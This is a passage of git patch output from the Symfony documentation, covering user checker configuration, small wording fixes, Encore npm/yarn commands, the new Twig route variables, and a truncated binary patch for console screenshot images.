+            App\Security\AccountEnabledUserChecker:
+                tags:
+                    - { name: security.user_checker.api, priority: 10 }
+                    - { name: security.user_checker.main, priority: 10 }
+
+            App\Security\APIAccessAllowedUserChecker:
+                tags:
+                    - { name: security.user_checker.api, priority: 5 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Security\AccountEnabledUserChecker">
+                    <tag name="security.user_checker.api" priority="10"/>
+                    <tag name="security.user_checker.main" priority="10"/>
+                </service>
+
+                <service id="App\Security\APIAccessAllowedUserChecker">
+                    <tag name="security.user_checker.api" priority="5"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Security\AccountEnabledUserChecker;
+        use App\Security\APIAccessAllowedUserChecker;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(AccountEnabledUserChecker::class)
+                ->tag('security.user_checker.api', ['priority' => 10])
+                ->tag('security.user_checker.main', ['priority' => 10]);
+
+            $services->set(APIAccessAllowedUserChecker::class)
+                ->tag('security.user_checker.api', ['priority' => 5]);
+        };
+
+Once your checker services are tagged, next you will need configure your firewalls to use the
+``security.user_checker.chain.<firewall>`` service::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+
+        # ...
+        security:
+            firewalls:
+                api:
+                    pattern: ^/api
+                    user_checker: security.user_checker.chain.api
+                    # ...
+                main:
+                    pattern: ^/
+                    user_checker: security.user_checker.chain.main
+                    # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="api"
+                        pattern="^/api"
+                        user-checker="security.user_checker.chain.api">
+                    <!-- ... -->
+                </firewall>
+                <firewall name="main"
+                        pattern="^/"
+                        user-checker="security.user_checker.chain.main">
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('api')
+                ->pattern('^/api')
+                ->userChecker('security.user_checker.chain.api')
+                // ...
+            ;
+
+            $security->firewall('main')
+                ->pattern('^/')
+                ->userChecker('security.user_checker.chain.main')
+                // ...
+            ;
+        };

From 6b03a182d7131507e3852982897de840f6eebaa3 Mon Sep 17 00:00:00 2001
From: matheo <matheo.daninos@gmail.com>
Date: Thu, 15 Sep 2022 19:20:38 +0200
Subject: [PATCH 2305/5766] [EventDispatcher] Fix typo in reference events

---
 reference/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index c55bfdcc824..3c327e86949 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -54,8 +54,8 @@ their priorities:
 
 **Event Class**: :class:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent`
 
-This event is dispatched after the controller to be executed has been resolved
-but before executing it. It's useful to initialize things later needed by the
+This event is dispatched after the controller has been resolved but before executing
+it. It's useful to initialize things later needed by the
 controller, such as `param converters`_, and even to change the controller
 entirely::
 

From d782473af5d80d0f6ed06ceef43098cf409f493c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 17:00:49 +0200
Subject: [PATCH 2306/5766] Minor tweak

---
 components/validator/resources.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 6347c296217..e32ed08d9e0 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -114,7 +114,7 @@ If you use annotations instead of attributes, it's also required to call
 
     $validator = Validation::createValidatorBuilder()
         ->enableAnnotationMapping()
-        ->addDefaultDoctrineAnnotationReader()  // Only if annotations are used
+        ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call

From 94ce04af40c37ed90f623969a4994b64411abe7e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Sep 2022 17:14:55 +0200
Subject: [PATCH 2307/5766] Adding all rpm commands

It's just 4 commands - so it's easier to show them all in both versions, rather than explaining the rule **twice** ;-)
Besides, it's now copy-pastable.
---
 frontend/encore/simple-example.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 21a3bad9093..eba2412bca2 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -68,22 +68,26 @@ To build the assets, run the following if you use the Yarn package manager:
 
     # compile assets and automatically re-compile when files change
     $ yarn watch
-
-    # if using npm, use "npm run" and then any of these commands
+    # or
     $ npm run watch
 
     # or, run a dev-server that can sometimes update your code without refreshing the page
     $ yarn dev-server
-
+    # or
+    $ npm run dev-server
+    
     # compile assets once
     $ yarn dev
+    # or
+    $ npm run dev
 
     # on deploy, create a production build
     $ yarn build
+    # or
+    $ npm run build
 
 All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
-in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
-with ``npm run``.
+in your ``package.json`` file.
 
 .. note::
 

From 2319d501ed62cb9d419c0ff27d27513b218e3900 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Sep 2022 17:19:02 +0200
Subject: [PATCH 2308/5766] Promoting encore restart note

...cause it's somewhat counter-intuitive that restart is required even when `watch` is running.
---
 frontend/encore/simple-example.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 21a3bad9093..eef08de0207 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -85,9 +85,9 @@ All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defin
 in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
 with ``npm run``.
 
-.. note::
+.. caution::
 
-    Stop and restart ``encore`` each time you update your ``webpack.config.js`` file.
+    Whenever you make changes in your ``webpack.config.js`` file, you need to stop and restart ``encore``.
 
 Congrats! You now have three new files:
 

From 2375fdf52b5410083da0850c61ca3657c9af32f7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 17:24:14 +0200
Subject: [PATCH 2309/5766] [Security] Remove an unused reference

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index b8ac023e391..c70b01d8652 100644
--- a/security.rst
+++ b/security.rst
@@ -2621,7 +2621,6 @@ Authorization (Denying Access)
     security/access_denied_handler
     security/force_https
 
-.. _`FrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks

From f21d205ac732f022e1cadf99bc25f00965c0f154 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 20:24:13 +0200
Subject: [PATCH 2310/5766] [Form] Fix a minor syntax issue

---
 reference/forms/types/options/label.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 471d8267082..8796af61974 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -4,7 +4,7 @@
 **type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name
 
 Sets the label that will be used when rendering the field. Setting to ``false``
-will suppress the label.
+will suppress the label::
 
     use Symfony\Component\Translation\TranslatableMessage;
 

From f8a6efa4c43e2b46cd9540cfb444054cb27ecefc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 17:11:43 +0200
Subject: [PATCH 2311/5766] [Twig] Document the new methods of AppVariable

---
 templates.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/templates.rst b/templates.rst
index 1e1107e4446..0939e0616d1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -377,6 +377,17 @@ gives you access to these variables:
 ``app.token``
     A :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
     object representing the security token.
+``app.current_route``
+    The name of the route associated to the current request or ``null`` if no
+    request is available (equivalent to ``app.request.attributes.get('_route')``)
+``app.current_route_parameters``
+    An array with the parameters passed to the route of the current request or an
+    empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``)
+
+.. versionadded:: 6.2
+
+    The ``app.current_route`` and ``app.current_route_parameters`` variables
+    were introduced in Symfony 6.2.
 
 In addition to the global ``app`` variable injected by Symfony, you can also
 :doc:`inject variables automatically to all Twig templates </templating/global_variables>`.

From 3c35bf4abd1b9bad8e2fbe6762be0e6613312874 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 17 Sep 2022 10:42:26 +0200
Subject: [PATCH 2312/5766] [#17275] fix typo

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 0939e0616d1..3ee4fd7dc4a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -378,7 +378,7 @@ gives you access to these variables:
     A :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
     object representing the security token.
 ``app.current_route``
-    The name of the route associated to the current request or ``null`` if no
+    The name of the route associated with the current request or ``null`` if no
     request is available (equivalent to ``app.request.attributes.get('_route')``)
 ``app.current_route_parameters``
     An array with the parameters passed to the route of the current request or an

From 8f9a5e04b652f882e570f16961eda6a9e7ba5384 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 17 Sep 2022 11:25:27 +0200
Subject: [PATCH 2313/5766] [Routing] Improve current route block

---
 routing.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index bb4ab688e7f..a0f65a59611 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1545,15 +1545,19 @@ information in a controller via the ``Request`` object::
 You can get this information in services too injecting the ``request_stack``
 service to :doc:`get the Request object in a service </service_container/request>`.
 In templates, use the :ref:`Twig global app variable <twig-app-variable>` to get
-the request and its attributes:
+the current route and its attributes:
 
 .. code-block:: twig
 
-    {% set route_name = app.request.attributes.get('_route') %}
-    {% set route_parameters = app.request.attributes.get('_route_params') %}
+    {% set route_name = app.current_route %}
+    {% set route_parameters = app.current_route_parameters %}
 
-    {# use this to get all the available attributes (not only routing ones) #}
-    {% set all_attributes = app.request.attributes.all %}
+.. versionadded:: 6.2
+
+    The ``app.current_route`` and ``app.current_route_parameters`` variables
+    were introduced in Symfony 6.2.
+    Before you had to access ``_route`` and ``_route_params`` request
+    attributes using ``app.request.attributes.get()``.
 
 Special Routes
 --------------

From 8bd5eef4bc085a7565dbd3f8c66e710a5bb59427 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 15 Sep 2022 17:32:30 +0200
Subject: [PATCH 2314/5766] [Console] Create consistent console screenshots

---
 _images/components/console/completion.gif     | Bin 154106 -> 86358 bytes
 _images/components/console/cursor.gif         | Bin 64894 -> 15042 bytes
 .../components/console/debug_formatter.png    | Bin 178248 -> 16828 bytes
 .../console/process-helper-debug.png          | Bin 28822 -> 19117 bytes
 .../console/process-helper-error-debug.png    | Bin 19108 -> 13406 bytes
 .../console/process-helper-verbose.png        | Bin 14289 -> 9154 bytes
 _images/components/console/progress.png       | Bin 3365 -> 0 bytes
 _images/components/console/progressbar.gif    | Bin 29016 -> 29886 bytes
 _images/sources/README.md                     |  60 ++++++++++++++----
 _images/sources/ascii-render.sh               |  24 +++++++
 .../components/console/completion.cast        |  37 +++++++++++
 .../sources/components/console/cursor.cast    |  49 ++++++++++++++
 .../sources/components/console/progress.cast  |  57 +++++++++++++++++
 .../console/helpers/debug_formatter.rst       |   4 +-
 14 files changed, 217 insertions(+), 14 deletions(-)
 delete mode 100644 _images/components/console/progress.png
 create mode 100755 _images/sources/ascii-render.sh
 create mode 100644 _images/sources/components/console/completion.cast
 create mode 100644 _images/sources/components/console/cursor.cast
 create mode 100644 _images/sources/components/console/progress.cast

diff --git a/_images/components/console/completion.gif b/_images/components/console/completion.gif
index 011ae0b935e51f8cd41a291e9f2c0d0e3d422259..18b3f5475c87b63aa85d2da075d2464f95e6ffba 100644
GIT binary patch
literal 86358
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
